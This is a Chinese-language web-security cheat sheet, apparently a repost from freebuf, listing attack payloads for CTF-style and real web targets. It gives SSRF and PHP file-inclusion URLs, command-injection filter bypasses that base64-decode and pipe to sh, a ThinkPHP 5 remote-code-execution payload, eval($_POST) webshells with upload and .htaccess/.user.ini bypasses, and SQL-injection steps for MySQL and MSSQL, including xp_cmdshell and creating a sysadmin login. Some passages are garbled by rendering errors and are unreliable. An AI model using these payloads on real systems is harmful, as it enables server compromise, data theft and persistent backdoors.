WEB安全基础简单总结(有些无序,大佬勿喷) – 作者:youhao108

一、admin的url-utf8编码

%61%64%6d%69%6e

二、协议变换

dict://192.168.1.1:8080/test:dict
gopher://192.166.1.1/gopher

在ssrf中可攻击内网的FTP、Telnet、Redis、Mecache,也可进行GET、POST请求;

file:///etc/password

三、修改或添加HTTP请求头

Referer:来源伪造
X-Forwarded-For:ip伪造
User-Agent:用户代理(用的什么浏览器)
Cookie:维持登陆状态、用户身份识别

四、nginx的配置文件所在位置

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx

五、源码泄露

页面提示vi或vim,则存在swp文件泄露
地址:/.index.php.swp或/index.php-
恢复文件:vim -r index.php(Linux下执行)
备份文件泄露
地址:/index.php.bak,/www.zip,/wwwroot.zip,/htdocs.zip
.git泄露:.git/config(用GitHack)
本机:python2 Git.py XX/.git/
SVN泄露:.svn/entries(dvcs-ripper/Seay-Svn)

六、文件包含

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

index.php?page=php://filter/read=string.rot13/resource=index.php

index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php

根据实际情况适当变化

七、哈希缺陷

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
以下值在md5加密后以0E开头:

• QNKCDZO
• 240610708
• s878926199a
• s155964671a
• s214587387a
• s214587387a

以下值在sha1加密后以0E开头:

• sha1(‘aaroZmOk’)
• sha1(‘aaK1STfY’)
• sha1(‘aaO8zKZF’)
• sha1(‘aa3OFF9m’)

两个MD5相同的不同字符串。

Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

八、各种绕过

(1)绕过ip限制:

①ip转换为10进制绕过
②xip.io绕过,访问接近xip.io的地址
如:http://www.baidu.com.127.0.0.1.xip.io则访问127.0.0.1

(2)过滤字符绕过

空格过滤

1、linux下
{cat,flag.txt}
cat{IFS}flag.txt catIFSflag.txtcatIFS9flag.txt cat<flag.txt cat<>flag.txt kg=9flag.txtcat<flag.txtcat<>flag.txtkg=’\x20flag.txt’&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

2、windows下
(实用性不是很广,也就type这个命令可以用)
type.\flag.txt
type,flag.txt
echo,123456

字符过滤

例:if(preg_match(“/.*f.*l.a.g./”, KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …ag.php;a=fl;catIFS99a$b
//为什么要反过来?flag匹配时中间有内容也会被匹配。
//表达式 . 就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.*b,它将会匹配最长的以a开始,以b结束的字符串。如果用它来搜索aabab的话,它会匹配整个字符串aabab。这被称为贪婪匹配
②sh命令来执行
使用 base64 编码的方式来绕过

1.加密命令
echo “cat flag.php” | base64

2.解密命令并执行
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
• 然后用$IFS9代替空格。构造payload ?ip=127.0.0.1;echo9代替空格。构造payload?ip=127.0.0.1;echoIFS9Y2F0IGZsYWcucGhwCg==9Y2F0IGZsYWcucGhwCg==IFS9|9∣IFS9base649base64IFS9-d9−dIFS9|9∣IFS9sh

③内联执行

• 反引号在linux中作为内联执行,执行输出结果。也就是说cat `ls` • //执行ls输出 index.php 和 flag.php 。然后再执行 cat index.php;cat flag.php

• 所以可以构造payload ?ip=127.0.0.1;cat9sh③内联执行

•反引号在linux中作为内联执行,执行输出结果。也就是说cat‘ls‘

•//执行ls输出index.php和flag.php。然后再执行catindex.php;catflag.php

•所以可以构造payload?ip=127.0.0.1;catIFS$9

ls

九、命令执行

看到ip和ping就容易联想到,终端ping命令
利用拼接符在ping命令后添加我们需要的命令即可。所以可以用拼接符

& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo ‘1‘ && echo ‘2’
| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l
|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
; 分号表示命令依次执行。

十、远程代码执行(ThinkPHP 5(5.0.20可))

index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,

可执行phpinfo

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=(系统命令)

如:cat …/…/…/flag

十一、文件上传

①javascript检测:一般只检测扩展名
无流量经过Burpsuite即为js检测
绕过:

1 Burpsuite抓包后修改文件名
2 firebug修改页面js审查元素

②MIME类型检测(检测content-type)
绕过:Burpsuite抓包后修改content-type为image/jpeg或image/gif

③文件内容检测(检测文件幻数、相关信息)
文件幻数:
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61(GIF89a)
PNG:89 50 4E 47
绕过:在文件幻数后加上自己的一句话木马
GIF89a

<?php eval($_POST[‘a’])?>

文件相关信息检测:检测文件大小、尺寸等信息
绕过:伪造文件幻数,添加一句话木马,再添加别的内容增加大小

④目录路径检测:检测跟path参数相关的内容
绕过:在HTTP请求包中用空字符截断 如:jieduan=1.php%00.jpg
截断字符有:0x00,%00,chr(0)

⑤文件扩展名检测:检测跟文件wxtension相关的内容(Blacklist,Whitelist)
Blacklist如:php,php2,php3,php4,php5,pht,asp,aspx,ascx,jsp,bat,exe,dll等
绕过:尝试未写入黑名单的后缀名 | IIS默认解析asp,cdx,asa,cer等 | 文件名大小写绕过:pHp | x.php(空格)或x.php_ IIS支持下划线表示空格 | 空字符截断

特:若服务器为Apache,可用.htaccess文件攻击
建一个.htaccess 文件,里面的内容如下:
<FilesMatch “1”>
SetHandler application/x-httpd-php
文件名包含1的就会解析成php执行,直接上传一个1.jpg,包含一句话木马即可

还可上传.user.ini绕过黑名单检验,跟.htaccess后门比,适用范围更广nginx/apache/IIS都有效,而.htaccess只适用于apache
GIF89a //绕过exif_imagetype()
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg //解析后进行包含

Whiteliost:jpg | png | gif | doc | docx | xls等,安全性较黑名单高很多
绕过:IIS默认支持解析asp,cdx,asa,cer等 | 空字符截断

黑白名单其他绕过方法:配合解析漏洞
IIS5.x-6.x解析漏洞:
①目录解析(6.0):www.xxx.com/xx.asp/xx.jpg
服务器默认把.asp,.asa目录下的文件都解析成asp文件
②文件解析:www.xxx.com/xx.asp;.jpg
服务器默认不解析分号后面内容
③解析文件类型,IIS6.0默认的可执行文件除了asp还包含:asa,cer,cdx

Apache解析漏洞:
①文件解析:test.php.owf.rar
Apache解析文件规则是从右到左开始判断解析
②其余配置问题
配置1:AddHandler php5-script.php
形式:test2.php.jpg(只要文件名含php,则会当作php文件解析)
配置2:AddType.application/x-httpd-php.jpg
形式:即使扩展名是jpg,一样能以php执行(直接上传含一句话木马的jpg即可)

Nginx解析漏洞:
www.xxxx.com/UploadFiles/image/test.jpg/test.php
www.xxxx.com/UploadFiles/image/test.jpg%00.php
www.xxxx.com/UploadFiles/image/test.jpg/%20\test.php
利用:将一张图和一个写入后门代码的文本合并
cmd执行:copy test.jpg/b + test.txt/a test.jpg
test.txt内容:<?PHP fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[“a”])?>’);?>

十二、SQL注入

判断数据库类型:
Access:
and (select id from MSysAccessObjects) >0 返回正常说明是access
MSSQL:
and (select id from sysobjects) >0 返回正常说明是mssql
MySQL:
and length(user())>0 返回正常说明是MySQL

mysql:

1.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
2.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
3.再利用union来查询准确字段,如: order by 或者and 1=2 union select 1,2,3,…/直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
4.判断数据库连接帐号有没有写权限,and (select count() from mysql.user)>0 /如果结果返回错误,那我们只能猜解管理员帐号和密码了。
5.如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 / 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
6、检测是不是root权限 and/**/ord(mid(user(),1,1))=114/*
7、mysql内置函数hex()转换字符为16进制,如select hex(user())
mysql内置函数unhex() 解码16进制,如select unhex(hex(user()))
8、mysql内置函数concat()将多列合并成一列,如select concat(username,0x3A,password) from t_member
9常用内置函数使用:
select system_user() 查看系统用户
select current_user() 查询当前用户
select user() 查询用户
SELECT version() 查询数据库版本
SELECT database() 查询当前连接的数据库
select @@version_compile_os 查询当前操作系统
select @@datadir 查询读取数据库路径
select @@basedir 查询MYSQL安装路径

去掉limit 1,1为查询出所有行,第一个数字代表查询第几个,第二个数字代表一次查询出的数量
第一个数字从1开始递增,查询到3时浏览器返回错误,说明存在2个库/表。
10、查数据库数量
union select cuncat(schema_name,0x3A) from information_schema.schemata limit 1,1
11、查询表
union select table_name from information_schema.tables where table_schema =库名 limit 1,1

MSSQL:
检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));–
检测是否为DB权限
and 1=(Select IS_MEMBER(‘db_owner’))
爆所有数据库 union select name from master.dbo.sysdatabases where dbid=1 1代表第一个库
爆所有表
第一张表 union select top 1 name from 库名.dbo.sysobjects where xtype=‘U’
第二张表 union select top 1 name from 库名.dbo.sysobjects where xtype=‘U’ and name not in(‘第一张表’)
第三张表 union select top 1 name from 库名.dbo.sysobjects where xtype=‘U’ and name not in(‘第一张表’,‘第二张表’)
爆列:
爆ID select id from seay.dbo.sysobjects where xtype=‘U’ and name=‘admin’
爆第一个列 select top 1 name from seay.dbo.syscolumns where id=ID号
爆第二个列 select top 1 name from seay.dbo.syscolumns where id=ID号 and name not in(‘第一个列’)
爆数据:
select 列名 from 表名
exec master.dbo.xp_dirtree ‘c:’; 遍历目录
exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
exec master.dbo.xp_subdirs ‘c:’;– 获得子目录列表
exec master.dbo.xp_dirtree ‘c:’;– 获得所有子目录的目录树结构
exec master.dbo.xp_cmdshell ‘type c:\web\web.config’;– 查看文件的内容
备份数据库:backup database 库名 to disk=‘c:/l.asp’;
MSSQL内置函数
select @@version 查询数据库版本
select user_name() 查询当前数据库连接用户名
select db_name() 查询当前数据库名
更改sa密码
exec sp_password NULL,‘新密码’,‘sa’
添加SA权限用户
exec sp_addlogin ‘username’,‘pass’,‘master’;
exec sp_addsrvrolemember ‘username’, sysadmin
检测是否支持多行
;declare @d int;–
停掉或激活某个服务。
exec master…xp_servicecontrol ‘stop’,‘schedule’
exec master…xp_servicecontrol ‘start’,‘schedule’
解开压缩档。
xp_unpackcab ‘c:\test.cab’,‘c:\temp’,1
恢复 xp_cmdshell
;exec master…dbo.sp_addextendedproc ‘xp_cmdshell’,‘xplog70.dll’;–
开启沙盘模式:
exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,1

来源:freebuf.com 2021-04-04 13:55:40 by: youhao108

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论